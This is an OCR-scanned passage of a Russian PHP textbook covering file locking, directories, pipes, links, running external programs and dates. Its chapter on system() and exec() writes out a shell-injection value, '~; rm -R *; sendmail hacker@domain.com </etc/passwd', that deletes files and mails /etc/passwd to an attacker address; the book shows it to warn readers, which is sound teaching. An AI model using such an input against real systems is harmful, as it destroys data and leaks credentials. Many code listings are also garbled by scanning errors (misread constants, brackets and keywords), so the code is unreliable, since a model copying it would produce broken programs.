писатель. И это правильно. Посудите сами: зачем зажигать красный свет на
перекрестке, если поперечного движения заведомо нет?

Теперь давайте посмотрим на разделяемую блокировку читателей с точки
зрения процесса-писателя. Что он должен делать, если кто-то читает из
файла, в который он как раз собирается записывать? Очевидно, он должен
дождаться, пока читатель не закончит работу. Иными словами, вызов
flock ($f , LOCK_EX) обязан подождать, пока активна хотя бы одна разделяе-
мая блокировка. Это и происходит в действительности.

----------------------- Page 280-----------------------
Глава 15. Работа с файлами 265

Примечание

Возможно, вам на ум пришла аналогия с перекрестком, по одной дороге кото-
рого движется почти непрерывный поток машин, и поперечное движение при
этом блокируется навсегда, — так что у водителей нет никаких шансов про-
биться через сплошной поток. В реальном мире это действительно иногда про-
исходит (потому-то любой светофор всегда представляет собой исключитель-
ную блокировку), но только не в мире РНР. Дело в том, что, если почти всегда
активна разделяемая блокировка, операционная система все равно так рас-
пределяет кванты времени, что в некоторые из них можно "включить" исключи-
тельную блокировку. То есть "поток машин" становится не сплошным, а с
"пробелами" — ровно такого размера, чтобы в них могли "прошмыгнуть" маши-
ны, едущие в перпендикулярном направлении.

В листинге 15.3 представлена модель процесса, использующего разделяемую
блокировку.

I Листинг 15.3. Модель процесса с разделяемой блокировкой
•

// инициализация

// . . .

$f=fopen ($f , "r"! or die ("He могу открыть файл на чтение!") ;
flock ($f, LOCK_SH ) ; // ждем , когда процессы-писатели угомонятся

//В этой точке мы можем быть уверены , что эта программа работает

//с файлом , когда ни одна другая программа в него не пишет

flock ($f, LOCKJJN ) ; // говорим , что мы больше не будем работать с файлом

fclose($f) ;

/ / Завершение

Совет^

Устанавливайте разделяемую блокировку, когда вы собираетесь только читать
из файла, не изменяя его. Всегда используйте при этом режим открытия г, и
никакой другой. Снимайте блокировку так рано, как только сможете.

Блокировки с запретом "подвисания"

Как следует из описания функции flock ( ) , к ее второму параметру можно
прибавить константу LOCK_NB для того, чтобы функция не ожидала, когда

----------------------- Page 281-----------------------
266 Часть IV. Стандартные функции РНР

программа может "двинуться в путь", а сразу же возвращала управление в
основную программу. Это может пригодиться, если вы не хотите, чтобы ваш
сценарий бесполезно простаивал, ожидая, пока ему разрешат обратиться к
файлу. В эти моменты, возможно, лучше будет заняться какой-нибудь по-
лезной работой — например, почистить временные файлы, память, или же
просто сообщить пользователю, что файл заблокирован, чтобы он подождал
и не думал, что программа зависла. Вот пример использования исключи-
тельной блокировки в совокупности с LOCK_NB:

$f=fopen("file.txt", "a+") ;
while(!flock($f,LOCK_EX+LOCK_NB) ) {
echo "Пытаемся получить доступ к файлу <br>";
sleep(1); // ждем 1 секунду

}
// Работаем

Эта программа основывается на том факте, что выход из flock ( ) может
произойти либо в результате отказа блокировки, либо после того, как бло-
кировка будет установлена — но не до того! Таким образом, когда мы нако-
нец-то дождемся разрешения доступа к файлу и произойдет выход из цикла
while , мы уже будем иметь исключительную блокировку, закрепленную за
нашим файлом.

Пример счетчика

Давайте напоследок рассмотрим классический пример, когда без блокиров-
ки файла не обойтись. Если вы уже имели некоторый опыт в Web-програм-
мировании, то вы, наверное, уже догадываетесь, что речь пойдет о пробле-
ме, возникающей при написании сценария счетчика.
Итак, нам нужен сценарий, который бы при каждом своем запуске увеличи-
вал число, хранящееся в файле, и выводил его в браузер. Несложная, каза-
лось бы, задача сильно осложняется тем, что при большой посещаемости
сервера могут быть запущены сразу несколько процессов-счетчиков, кото-
рые попытаются обратиться к одному и тому же файлу. Если не принять
мер, это приведет к тому, что счетчик рано или поздно "обнулится".
Далее следует сценарий, использующий блокировку для предотвращения
указанной проблемы.

I Листинг 15.4. Простейший текстовый счетчик

$f=fopen("counter.dat","a+");
flock($f,LOCK_EX); // Говорим , что дальше будем работать только мы

----------------------- Page 282-----------------------
Глава 15. Работа с файлами 267

$count=fread($f,100}; // Читаем значение , сохраненное в файле
@$count=$count+l; // Увеличиваем его на 1 (пустая строка = 0 )
ftruncate($f,0); // Стираем файл
fwrite($f,$count); // Записываем новое значение
fflush ($f) ; // Сбрасываем файловый буфер
flock($f,LOCK_UN); // Отключаемся от блокировки
fclose($f); // Закрываем файл
echo $count ; // Печатаем величину счетчика

Здесь мы применяем только исключительную блокировку, потому что каж-
дый раз, когда нам нужно вывести на экран счетчик, его также нужно и
увеличить.

----------------------- Page 283-----------------------
Глава 16 ШГОШ

Работа с каталогами

С точки зрения операционной системы каталоги — это те же самые файлы,
только со специальным именем. То есть директорию можно представить
себе как файл, в котором хранятся имена и местоположения других файлов
и каталогов. Этим обеспечивается традиционная древовидность организации
файловой системы в различных ОС.
С каждым процессом (в частности, и с работающим сценарием) ассоцииро-
ван свой так называемый текущий каталог. Все действия по работе с фай-
лами и каталогами осуществляются по умолчанию именно в ней. Например,
если мы открываем файл, указав только его имя, РНР будет искать этот
файл именно в текущем каталоге. Существуют также и функции, которые
могут сделать текущим любой указанный каталог.

Манипулирование каталогами

Вот несколько полезных функций для работы с каталогами.

bool mkdir(string $name , int $perms)

Создает каталог с именем $name и правами доступа $perms. Права доступа
для каталогов указываются точно так же, как и для файлов. Чаще всего зна-
чение $perms устанавливают равным 077 0 (предваряющий ноль обязате-
лен — он указывает РНР на то, что это — восьмеричная константа, а не де-
сятичное число). Например:

mkdir("my_directory",0770) ; // создает подкаталог в текущем каталоге

rakdir{"/data"); // создает подкаталог data в корневом каталоге

В случае успеха функция возвращает true , иначе — false . Необходимо за-
метить, что пользователь не может создать подкаталог в родительском ката-
логе, права на запись в который у него отсутствуют. Здесь точно такая же
ситуация, как и с файлами.

Замечание

Вы, наверное, заметили, что атрибуты доступа 0 7 7 0 означают "доступен для чте-
ния, записи и исполнения для владельца и его группы". Что означает атрибут ис-
полнения, установленный для каталога? Может быть, он разрешает пользовате-

----------------------- Page 284-----------------------
Глава 16. Работа с каталогами 269

лям запускать из него программы? А вот и нет. Право на "исполнение" показыва-
ет, что пользователь сможет просмотреть содержимое каталога. Конечно, все
это специфично для операционных систем семейства Unix.

bool rmdir(string $name)

Удаляет каталог с именем $name. В случае успеха возвращает true , иначе -
false . Как всегда, действуют стандартные ограничения файловой системы
на эту операцию.

bool chdir(string $path )

Сменяет текущий каталог на указанный. Если такого каталога не существу-
ет, возвращает false . Параметр $path может определять и относительный
путь, задающийся от текущего каталога. Вот несколько примеров:

chdir("/tmp/data'") ; // переходим по абсолютному пути

chdir("./somathing"); // переходим в подкаталог текущего каталога

chdir("something"); // то же самое

chdir(".."); // переходим в родительский каталог

chdir("-/data"); // переходим в /поте/ПОЛЬЗОВАТЕЛЬ/data (для Unix )

string getcwdO

Возвращает полный путь к текущему каталогу, начиная от "корня" (/) . Если
такой путь не может быть отслежен (это иногда бывает в Unix из-за того,
что права на чтение для родительских каталогов могут быть сняты), вызов
"проваливается" и возвращает false .

С Замечание" ^

Эта функция появилась в РНР совсем недавно. Так что если ее не окажется в
вашей версии, обновите ее поскорее, либо напишите заменитель (что не так-то
просто).

Работа с записями

Дальше описываются функции, которые позволяют узнать, какие объекты
находятся в указанном каталоге. Например , с их помощью можно вывести
содержимое текущего каталога. Механизм работы этих функций базируется
примерно на тех же принципах , что и применяемых для файловых опера-
ций: сначала интересующий каталог открывается, затем из него производит-
ся считывание записей, и под конец каталог нужно закрыть. Правила ин -
туитивно понятны и, наверное, хорошо вам знакомы.

int opendiristring $pathi

Открывает каталог $path для дальнейшего считывания из него информации
о файлах и подкаталогах и возвращает его идентификатор. Дальнейшие вы-

----------------------- Page 285-----------------------
270 Часть IV. Стандартные функции РНР

зовы readdiro с идентификатором в параметрах будут обращены именно к
этому каталогу. Функция возвращает false , если произошла ошибка.

string readdir(int $handle )

Считывает очередное имя файла или подкаталога из открытого ранее ката-
лога с идентификатором $handie и возвращает его в виде строки. Порядок
следования файлов в каталоге зависит от операционной системы — скорее
всего, он будет совпадать с тем порядком, в котором эти файлы создавались,
но не всегда. Вместе с именами подкаталогов и файлов будут также получе-
ны два специальных элемента: это . (ссылка на текущий каталог) и . .
(ссылка на родительский каталог). В подавляющем большинстве случаев
нам нужно их игнорировать, что и сделано в примере из листинга 16. 1 при

ПОМОЩИ ИНСТРУКЦИИ continue .

(^ Замечание j

РНР версии 3 позволял опускать параметр Shandle — в этом случае, кажется,
подразумевался последний открытый каталог. Сценарий "собирался с силами",
"вздыхал" и... кое-как работал. РНР версии 4 более строг: в нем вы обязатель-
но должны указывать параметр $handle для функции readdir ( ) , в противном
случае вам гарантированы сюрпризы.

В случае, если в каталоге все файлы уже считаны, функция возвращает лож-
ное значение . Но не позволяйте себе привыкнуть к конструкции такого вида:

$d=opendir("somewhere");

while(Se=readdir($d) ) ( . . . )

Она заставит цикл прерваться в его середине в случае обнаружения файла с
именем "о", чего нам бы, конечно, не хотелось. Вместо этого пользуйтесь
следующим методом:

$d=opendir("somewhere") ;

while ( ($e=readdir($d) ) !==false) ( . . . )

Оператор !== позволяет точно проверить, была ли возвращена величина
false.

void closedir(int $handle )

Закрывает ранее открытый каталог с идентификатором $handie . He возвра-
щает ничего . В принципе , можно и не закрывать каталоги, т. к. это делается
автоматически при завершении программы, но лучше все-таки такой легко-
стью не обольщаться.

void rewinddir(int $handle )

"Перематывает" внутренний указатель открытого каталога на начало. После
этого можно воспользоваться readdir о, чтобы заново начать считывать со-
держимое каталога.

----------------------- Page 286-----------------------
Глава 16. Работа с каталогами 271

Пример: печать дерева каталогов

В заключение приведу пример программы, которая рекурсивно распечаты-
вает список всех каталогов (доступных сценарию) в вашей системе, начиная
от корневого.

i Листинг 16.1. Печать дерева каталогов в файловой системе

// Функция распечатывает имена всех подкаталогов в текущем каталоге ,
// выполняя рекурсивный обход . Параметр $level задает текущую
// глубину рекурсии .
function PrintTree ($level=l)

{
// Открываем каталог и выходим в случае ошибки
$d=@opendir (".");
if(!$d) return ;
while ( ($e=readdir ($d) ) !==false) {
// Игнорируем элементы . . и .
if ($e=' . ' I l$e=' . . ') continue ;
// Нам нужны только подкаталоги
if ( ! @is_dir ($e) ) continue ;
// Печатаем пробелы , чтобы сместить вывод
for($i=0; $i<$ level ; $i++) echo " ";
// Выводим текущий элемент
echo "$e\n";
// Входим в текущий подкаталог и печатаем его
if ( Ichdir ($e) ) continue ;
PrintTree ($level+l) ;
// Возвращаемся назад
chdir (". . ") ;
// Отправляем данные в браузер , чтобы избежать видимости зависания
// для больших распечаток
flush () ;

}
closedir ($d) ;

// Выводим остальной текст фиксированным шрифтом

echo "<pre>";

----------------------- Page 287-----------------------
272 Часть IV. Стандартные функции РНР

echo "An" ;

// Входим в корневой каталог и печатаем его

chdir ("/") ;

PrintTree ( ) ;

echo "</pre>";

Сразу хочу предупредить, что результат работы этого сценария представляет
собой довольно длинную распечатку. Кроме того, программа работает мед-
ленно , т. к. ей нужно будет обойти тысячи каталогов вашей системы.

( _ Замечание _ )

Последний факт делает метод рекурсивного обхода каталогов совершенно не-
пригодным для автоматического построения карты сервера. В случае примене-
ния технологии кэширования информации между запусками сценариев для
больших сайтов построение карты даже, скажем, раз в час, выглядит довольно
плачевно. Как обойти эту трудность (фактически, используя кэш и разделенные
вычисления) рассказано в части \/этой книги.

----------------------- Page 288-----------------------
Глава 17
Ргуя
& ^ *ч^ъ ж Ji-
д

•--;
Lfl _л ^ . „т. ,, -wsjj,.

•

Каналы <

и символические ссылки

Вообще-то, каналы и символические ссылки — совершенно разные вещи.
Однако у меня есть по крайней мере два веских основания для того, чтобы
сгруппировать их описания в одном месте.

П И то и другое сколько-нибудь результативно можно использовать лишь в
системах на основе Unix, в других же операционных системах функции
либо не реализованы, либо просто не работают.

П Примерно лишь один сценарий на РНР из тысячи может нуждаться в
создании и использовании каналов и символических ссылок.

Каналы

Давайте начнем с каналов. Мы уже привыкли, что можем открыть какой-то
файл для чтения при помощи f open ( } , а затем читать или писать в него
данные. Теперь представьте себе немного отвлеченную ситуацию: вы хотите
из сценария запустить какую-то внешнюю программу (скажем, утилиту mail
для отправки или приема почты). Вам нужен будет механизм , посредством
которого вы могли бы передать этой утилите данные (например , E-mail и
текст письма), а затем получить результат работы программы.

Можно, конечно, заранее сохранить данные для запроса в отдельном вре-
менном файле, затем запустить программу, передав ей этот файл в парамет-
рах и направив результат в другой файл, а затем считать его и таким обра-
зом решить задачу. Этот способ вполне приемлем (хотя и несколько
медлителен), если вы используете утилиту, которая работает не в режиме
диалога (а только читает запрос и возвращает ответ). Однако, если после
ответа программы-утилиты ей нужно будет послать какой-то другой запрос,
не перезапускаясь, то задача становится на этом уровне неразрешимой . Как
раз в такой ситуации и удобно использовать межпроцессные каналы. И вот
как это работает.

// Запускаем процесс /bin/Is (параллельно работе сценария ) в режиме

// чтения . Эта утилита Unix просто распечатывает содержимое текущего

// каталога , а ключ -1 заставляет ее детализировать распечатку .

----------------------- Page 289-----------------------
274 Часть IV. Стандартные функции РНР

$fp=popen("/bin/Is -1","г") ;
// Теперь мы можем работать с $fp как с обычным файловым

// идентификатором . То есть выполнять функции чтения .

forS$Lines=array(); !eof($fp); )

$Lines[]=fgets($fp,1000);

// He забудем также закрыть канал .

pclose($fp);

Теперь более подробно. По команде рореп О запускается указанная в первом
параметре профамма, причем выполняется она параллельно сценарию. Соот-
ветственно, управление сразу возвращается на следующую строку, и сценарий
не ждет, пока завершится наша утилита (в отличие от функции system о , ко-
торая будет вскоре рассмотрена). Второй параметр задает режим работы: чте-
ние или запись, точно так же, как это делается в функции fopen ( ) .

Внимание

Хочу обратить ваше внимание на то, что канал нельзя открыть в режиме одно-
временного чтения и записи. Что послужило этому причиной? Ответ на постав-
ленный вопрос в деталях занял бы слишком много места, чтобы поместиться в
этой книге, но в двух словах можно сказать так: из-за буферизации ввода-вывода
реально возникновение ситуации, когда процесс-родитель будет находиться в
режиме ожидания данных от запущенного сына, а сын — будет ждать данные от
родителя. Таким образом, возникает состояние взаимной блокировки: оба про-
цесса оказываются приостановлены. В общем случае эта проблема неразреши-
ма, если у нас нет полного контроля над кодом процесса-сына.

Далее в нашем примере происходит вот что. Стандартный вывод утилиты
(тот, который по умолчанию всегда является просто выводом на экран — да
простят меня поклонники Unix , но все-таки так будет проще объяснить , не
разъясняя , что такое перенаправление ввода-вывода и какую роль оно игра-
ет в этой ОС) прикрепляется к идентификатору $fp . Теперь все, что печата-
ет утилита (а в нашем случае она печатает содержимое каталога), может
быть прочитано при помощи обычных вызовов файловых функций чте-
ния — f gets ( ) , f read ( ) И Т . Д .

Профамма is не ждет никакого ввода (однако в общем случае это далеко не
всегда так), вот почему мы пользуемся только серией вызовов f gets ( ) . После
того, как "дело сделано", канал $fp , вообще говоря, нужно закрыть. Если он
ранее был открыт в режиме записи, утилите "на том конце" передается, что
ввод данных "с клавиатуры" завершен, и она может закончить свою работу.

Замечание

В РНР не существует функций, которые могли бы открывать канал к дочернему
процессу в режиме чтения и записи.

----------------------- Page 290-----------------------
Глава 17. Каналы и символические ссылки 275

Теперь, когда мы разобрались с каналами, давайте посмотрим , что предлага-
ет нам РНР для работы с символическими ссылками .

Символические ссылки

Для начала (для тех, кто не знает) — что это такое? В системе Unix (да и в
других ОС в общем-то тоже) довольно часто возникает необходимость иметь
для одного и того же файла или каталога разные имена . При этом логично
одно из имен назвать основным, а все другие — его псевдонимами . В тер-
минологии Unix такие псевдонимы называются символическими ссылками.

Символическая ссылка — это просто бинарный файл специального вида,
который содержит ссылку на основной файл. При обращении к такому
файлу (например , открытию его на чтение) система "соображает", к какому
объекту на самом деле запрашивается доступ, и "прозрачно его обеспечива-
ет. Это означает, что мы можем использовать символические ссылки точно
так же, как и обычные файлы (в частности, работают f open о , f read о
и т. д.) Однако иногда нужно бывает работать со ссылкой именно как со
ссылкой (простите за тавтологию), а не как с файлом. Для этого и сущест-
вуют перечисленные ниже функции РНР.

string readlink(string $linkname )

Возвращает имя основного файла, с которым связан его синоним
$iinkname. Это бывает полезно, если вы хотите узнать основное имя файла,
чтобы, например, удалить сам файл, а не ссылку на него. В случае ошибки
функция возвращает значение "ложь".

bool symlink(string $target , string $link )

Эта функция создает символическую ссылку с именем $iink на объект
(файл или каталог), заданную в $target . В случае "провала" функция воз-
вращает false .

array Istat(string $filename )

Функция полностью аналогична вызову stat ( ) , за исключением того, что
если $fiienam e задает не файл , а символическую ссылку , будет возвращена
информация именно об этой ссылке (а не о файле , на который она указыва-
ет, как это делает stat ( ) ) .

int linkinfо(string $linkname )

Функция возвращает значение поля "устройство" из результата, выдаваемого
функцией istat ( ) , которую мы рассматривали выше. Ее обычно задействуют,
если хотят определить, существует ли еще объект, на который указывает сим-
волическая ссылка в $iinkname . Я предпочитаю пользоваться для этого вызо-
вом stat о , т. к., по-моему, ее название несколько более "читабельно".

ЮЗак . 699

----------------------- Page 291-----------------------
276 Часть IV. Стандартные функции РНР

Нужно добавить, что можно совершенно спокойно удалять символические
ссылки, не опасаясь за содержимое основного файла. Это делается обычным
СПОСОбоМ — например, ВЫЗОВОМ unlin k О ИЛИ rmdir ( } .

Жесткие ссылки

И в конце этой главы я хочу рассмотреть еще один вид ссылок — жесткие
ссылки. Оказывается, создание символической ссылки — не единственный
способ задать для одного файла несколько имен. Главный недостаток сим-
волических ссылок, как вы, наверное, уже догадались, — существование ос-
новного имени файла, на которое все и ссылаются. Попробуйте удалить этот
файл — и вся "паутина" ссылок, если таковая имелась, развалится на куски .
Есть и другой недостаток: открытие файла, на который указывает ссылка,
происходит несколько медленнее, т. к. системе нужно проанализировать
содержимое ссылки и установить связь с "настоящим" файлом. Особенно
это чувствуется, если одна ссылка указывает на другую, та — на третью и т. д.
уровней на 10.
Жесткие ссылки позволяют вам иметь для одного файла несколько совер-
шенно равноправных имен , причем доступ по ним осуществляется одинако-
во быстро. При этом, если одно из таких имен будет удалено (например,
при помощи unlink о) , то сам файл удалится только в том случае, если
данное имя было последним, и других имен у файла нет. Сравните с симво-
лическими ссылками, удаляя которые файл испортить нельзя.
Зарегистрировать новое имя у файла (то есть создать для него жесткую
ссылку) можно с помощью функции link о . Ее синтаксис полностью иден-
тичен функции symiink o , да и работает она по тем же правилам, за исклю-
чением того, что создает не символическую, а жесткую ссылку. Фактически,
вызов link о — это почти то же, что и rename о, только старое имя файла
не удаляется, а остается.

Замечание

Напоминаю, работает это все только в Unix, но не в Windows . И почему только
до таких вещей не додумались парни из Microsoft?..

----------------------- Page 292-----------------------
Глава 18

Запуск внешних
программ

Функции запуска внешних программ в РНР востребуются достаточно редко.
Их "непопулярность" объясняется прежде всего тем, что при использовании
РНР программист получает в свое распоряжение почти все возможности,
которые могут когда-либо понадобиться, в частности, почтовые функции, на
которые приходится львиная доля вызовов внешних программ в других язы-
ках — например, в Perl. Тем не менее, в числе стандартных функций языка
присутствует полный набор средств, предназначенных для запуска программ
и утилит операционной системы.

string systemfstring Scoramand [,int & return_var])

Эта функция, как и ее аналог в Си, запускает внешнюю программу, имя ко-
торой передано первым параметром, и выводит результат работы программы
в выходной поток, т. е. в браузер. Последнее обстоятельство сильно ограни-
чивает область применения функции.

Замечание

Впрочем, задействуя функции перенаправления вывода, мы все-таки можем по-
лучить и обработать то, что выдала нам запущенная программа, но стоит ли игра
свеч? Может быть, лучше воспользоваться более подходящими средствами?

Если функции передан также второй параметр — переменная (именно пе-
ременная, а не константа!), то в нее помещается код возврата вызванного
процесса. Ясно, что это требует от РНР ожидания завершения запущенной
программы — так он и поступает в любом случае, даже если последний па-
раметр не задан.

Внимание

Не нужно и говорить, что при помощи этой функции можно запускать только те
команды, в которых вы абсолютно уверены. В частности, никогда не переда-
вайте функции syste m о данные, пришедшие из браузера пользователя
(предварительно не обработав их) — это может нанести серьезный урон ваше-
му серверу, если злоумышленник запустит какую-нибудь разрушительную ути-
литу — например, rm -R ~ / , которая быстро и "без лишних слов" очистит весь
ваш каталог.

----------------------- Page 293-----------------------
278 Часть IV. Стандартные функции РНР

Как уже упоминалось, выходной поток данных программы направляется в
браузер. Если вы хотите этого избежать, воспользуйтесь функциями рореп ( )
или exec ( ) . Если же вы, наоборот, желаете, чтобы выходные данные запу-
щенной программы попали прямиком в браузер и никак при этом не иска-
зились (например, вы вызываете программу , выводящую в стандартный вы-
ходной поток какой-нибудь GIF-рисунок) , в этом случае в самый раз будет
функция PassThruO .

string exec(string $coinmand [,lists Sarray ] [ , i n t & $return var] )

Функция exec о , как и s y s t e m o , запускает указанную программу или ко-
манду, однако, в отличие от последней, она ничего не выводит в браузер.
Вместо этого функция возвращает последнюю строку из выходного потока
запущенной программы и, если задан параметр $аггау (который обязатель-
но должен быть переменной), то он заполняется списком строк в выходном
потоке — по одной строке на элемент.

( Замечание )

Если массив уже содержал какие-то данные перед вызовом exec ( ) , новые
строки просто добавляются в его конец, а не заменяют старое содержимое
массива. Учитывайте это в своих программах, иначе нетрудно получить очень
нетривиальную ошибку.

Как и в функции s y s t e m ) ) , при задании параметра-переменной
$return_var код возврата запущенного процесса будет помещен в эту пере-
менную. Так что функция exec ( ) тоже дожидается окончания работы но-
вого процесса и только потом возвращает управление в РНР-программу.

string EscapeShellCmd(string $command )

Помните, мы говорили о том, что нельзя допускать возможности передачи
данных из браузера пользователя (например, из формы) в функции
system о и exec о? Если это все же нужно сделать, то данные должны быть
соответствующим способом обработаны: например , можно защитить все
специальные символы обратными слэшами , и т. д. Это и делает функция
EscapeShellCmd о . Чаще всего ее применяют примерно в таком контексте:

system("cd ".EscapeShellCmd($to_directory)) ;

Здесь переменная $to_directory пришла от пользователя — например , из
формы или Cookies. Давайте посмотрим , как злоумышленник может стереть
все данные на вашем сервере, если вы по каким-то причинам забудете про
EscapeShellCmd ( i , написав следующий код:

system("cd $to_directory") ; // Никогда так не делайте !

Задав такое значение для $to_directory :

~; rm -R *; sendmail hacker@domain.com </etc/passwd

----------------------- Page 294-----------------------
Глава 18. Запуск внешних программ 279

разрушитель добьется своего разрушительного результата , а заодно и пошлет
себе по почте файл /etc/passwd , который в Unix-системах содержит данные
об именах и паролях пользователей .

string PassThru(string $command [,int& $return_var] )

Эта функция запускает указанный в ее первом параметре процесс и весь его
вывод направляет прямо в браузер пользователя, один-в-один. Она может
пригодиться, если вы воспользовались какой-нибудь утилитой для генера-
ции изображений "на лету", оформленной в виде отдельной программы
(в РНР есть гораздо более мощные встроенные функции для работы с изо-
бражениями, которые работают быстрее, поэтому я не рекомендую вам
применять PassThru о даже в подобных целях). Давайте рассмотрим пример
использования этой функции :

Header("Content-type : image/jpeg") ;

PassThru("cat my_image.jpg") ;

Функция Header о, которую мы рассмотрим в другой главе, сообщает брау-
зеру пользователя, что данные поступят в графическом формате JPEG, а по-
следующий вызов утилиты cat с параметром — именем файла с рисунком -
заставляет систему "распечатать" файл в браузер пользователя.

----------------------- Page 295-----------------------
Глава 19

Работа с датами
и временем

В РНР присутствует полный набор средств, предназначенных для работы с
датами и временем в различных форматах. Дополнительные модули
(входящие в дистрибутив РНР) позволяют также работать с календарными
функциями и календарями различных народов мира. Мы рассмотрим только
самые популярные из этих функций.

Представление времени
в формате timestamp

int time ( )

Возвращает время в секундах , прошедшее с полуночи 1 января 1970 года по
Гринвичу до настоящего момента. Этот формат данных принят в Unix как
стандартный: в частности, время последнего изменения файлов указывается
именно в таком формате (как вы, возможно, помните по описанию функ-
ции fiie_mtime о) . Вообще говоря, почти все функции по работе со време-
нем имеют дело именно с таким его представлением (которое называется
timestamp). To есть представление "количество секунд с 1 января 1970 года
весьма универсально и, что главное, — удобно.

^" Примечание

На самом-то деле, timestamp не отражает реальное (астрономическое) число
секунд с 1 января 1970 года, а немного отличается от него. Впрочем, это нис-
колько не умаляет преимущества от его использования.

string microtimef )

Возвращает строку в формате: "микросекунды секунды" , где секунды -- то,
что возвращается функцией time о, а микросекунды— дробная часть се-
кунд, служащая для более точного измерения промежутков времени. Эта
функция работает только в системах, которые поддерживают системный вы-
зов gettimeofday ( ) , т. е. практически во всех.

----------------------- Page 296-----------------------
Глава 19. Работа с датами и временем 281

Замечание

С функцией microtime () связано одно недоразумение. Дело в том, что мил-
лисекунды в различных ОС выглядят по-разному. Например, в Unix это дейст-
вительно число микросекунд, а в Windows — непонятное значение, связанное
неизвестно с чем. Возможно, оно все же несет какой-то смысл, но мне до него
"докопаться", увы, не удалось.

int mktime ((int $hour] [,int $minute] [,int $second] [,int $month]

[ , int $day] [,int $year] )

До сих пор мы рассматривали функции , которые преобразуют формат
timestamp в представление, удобное для человека. Существует всего одна
функция, которая проводит обратное преобразование— mktime о. Как мы
видим, все ее параметры необязательны, но пропускать их можно, конечно
же, только справа налево. Если какие-то параметры не заданы, на их место
подставляются значения , соответствующие текущей дате. Функция возвра-
щает значение timestamp, соответствующее указанной дате.

Правильность даты, переданной в параметрах, не проверяется. В случае не-
корректной даты ничего особенного не происходит — функция "делает вид",
что это ее не касается, и формирует соответствующий timestamp. Для иллю-
страции рассмотрим три вызова (два из них — с ошибочной датой), которые
тем не менее возвращают один и тот же результат:

echo date("M-d-Y" , mktime (0, О , О , 1 , 1 , 1998) ); // правильная дата

echo date("M-d-Y" , mktime (0, 0, 0, 12 , 32, 1997) ); // неправильная дата

echo date("M-d-Y" , mktime (0, 0, 0, 13, 1, 1997) ); // неправильная дата

Легко убедиться, что выводятся три одинаковых числа.

Работа с датами

string date(string $format [,int Stimestamp] )
Эта функция крайне полезна и весьма универсальна. Она возвращает стро-
ку, отформатированную в соответствии с параметром $ format и сформиро-
ванную на основе параметра $timestamp (если последний не задан — то на
основе текущей даты). Строка формата может содержать обычный текст,
перемежаемый одним или несколькими символами форматирования:

П и — количество секунд, прошедших с полуночи 1 января 1970 года;

П z — номер дня от начала года;

П Y — год, 4 цифры ;

П у — год, 2 цифры;

П F — название месяца, например, January ;

----------------------- Page 297-----------------------
282 Часть IV. Стандартные функции РНР

П m — номер месяца;

П м — название месяца, трехсимвольная аббревиатура, например, jan ;

П а — номер дня в месяце, всегда 2 цифры (первая может быть 0);

П j — номер дня в месяце без предваряющего нуля ;

П w — день недели, 0 соответствует воскресенью, 1 — понедельнику, и т. д.;

П 1 — день недели , текстовое полное название , например , Friday ;

П о — день недели, английское трехсимвольное сокращение, например, Fri ;

П а — am ИЛИ рпц

П А — AM или РМ;

П h — часы, 12-часовой формат;

П н — часы, 24-часовой формат;

H i — минуты ;

П s — секунды;

П s — английский числовой суффикс (nd, th и т. д.).

Те символы, которые не были распознаны как форматирующие, подставля-
ются в результирующую строку "как есть". Впрочем, не советую этим зло-
употреблять, поскольку довольно мало английских слов не содержат ни од-
ной из перечисленных выше букв.

Как видите, набор символов форматирования весьма и весьма богат. Вот
пример применения функции date ( ) :

echo date("l dS of F Y h:i:s A");

echo date("Сегодня d.m.Y") ;

echo date("3TOT файл датирован d.m.Y",filectime("myfile"));

Остается еще отметить, что формат выдачи для таких символов, как F
(название месяца), зависит от текущих настроек локали (см. функцию
setiocaleo) и вполне может быть названием месяца на родном языке
пользователя.

int checkdate(int $month , int Sday , int $year )

Эта функция проверяет, существует ли дата, переданная ей в параметрах:
вначале ищется месяц, затем -- день, и, наконец, • год. Конкретнее,
checkdate ( ) проверяет следующее:

П год должен быть между 1900 и 32 767 включительно;

П месяц обязан принадлежать диапазону от 1 до 12;

О число должно быть допустимым для указанного месяца и года (если год
високосный).

----------------------- Page 298-----------------------
Глава 19. Работа с датами и временем 283

Функция очень полезна, например, при автоматическом формировании
HTML-календарика для указанного месяца и года. В самом деле, мы можем
определить, какие числа в месяце "не существуют", и для них вместо номера
проставить пустое место.

array getdate{int $timestamp )

Возвращает ассоциативный массив, содержащий данные об указанном вре-
мени. В массив будут помещены следующие ключи и значения :

П seconds — секунды;

П minutes — МИНуты;

П hours — часы;

П mday — ЧИСЛО ;

П wday — день недели, число;

П топ — номер месяца;

П year — год;

П yday — номер дня с начала года;

П weekday — полное название дня недели, например, Friday;

П month — полное название месяца, например, January.

В общем-то, всю эту информацию можно получить и с помощью функции
date о , но тут разработчики РНР предоставляют нам альтернативный способ.

Григорианский календарь

Григорианский календарь — это как раз тот самый календарь, который мы
постоянно используем в своей жизни . В России он был введен Петром I в
1700 году.

Описываемые далее три функции представляют большой интерес, если вам
понадобится автоматически формировать календари в сценариях . Все они
имеют дело с так называемым Julian Day Count (JDC). Что это такое?

Каждой дате соответствует свой JDC. Ведь, фактически, JDC — это всего
лишь число дней, прошедших с определенной даты (кажется, где-то с 4714-го
года до нашей эры).

Зачем это нужно? Например , нам заданы две даты в формате "дд.мм.гггг".
Нужно вычислить количество дней между этими датами . Поставленная за-
дача как раз легко решается через перевод обеих дат в JDC и определение
разности получившихся величин.

int GregorianToJD(int $month , int $day , int $year )

Преобразует дату в формат JDC. Допустимые значения года для григориан-
ского календаря — от 4714 года до нашей эры до 9999 года нашей эры.

----------------------- Page 299-----------------------
284 Часть IV. Стандартные функции РНР

string JDToGregorian(int $julianday)

Преобразует дату в формате JDC в строку, выглядящую как ме-
сяц/число/год . Наверняка затем вы захотите разбить эту строку на состав-
ляющие, чтобы работать с ними по отдельности. Для этого воспользуйтесь
функцией explode( ) :

$jd = GregorianToJD(10,ll,1970) ;

echo "$jd<br>\n" ;

$gregorian = JDToGregorian($jd) ;

echo "Sgregorian<br>\n" ;

$list=explode($gregorian,"/");

mixed JDDayOfWeek(int $julianday , int $mode)

Последняя функция этой серии — JDDayOfweek ( ) — тоже совершенно неза-
менима: она возвращает день недели, на который приходится указанная
JDC-дата. Фактически, это единственное, чего нам не хватало бы для фор-
мирования календарика . Параметр Smode задает, в каком виде должен быть
возвращен результат:
П о — номер дня недели (0 — воскресенье, 1 — понедельник, и т. д.);
П 1 — английское название дня недели;
П 2 — сокращение английского названия дня недели.
В РНР существует еще множество функций для работы с другими календа-
рями — в том числе с Республиканским, Юлианским и т. д. Объем книги не
позволяет привести здесь их описания.

----------------------- Page 300-----------------------
Глава 20

Посылка писем
через РНР

Одно из самых мощных средств РНР — возможность автоматической по-
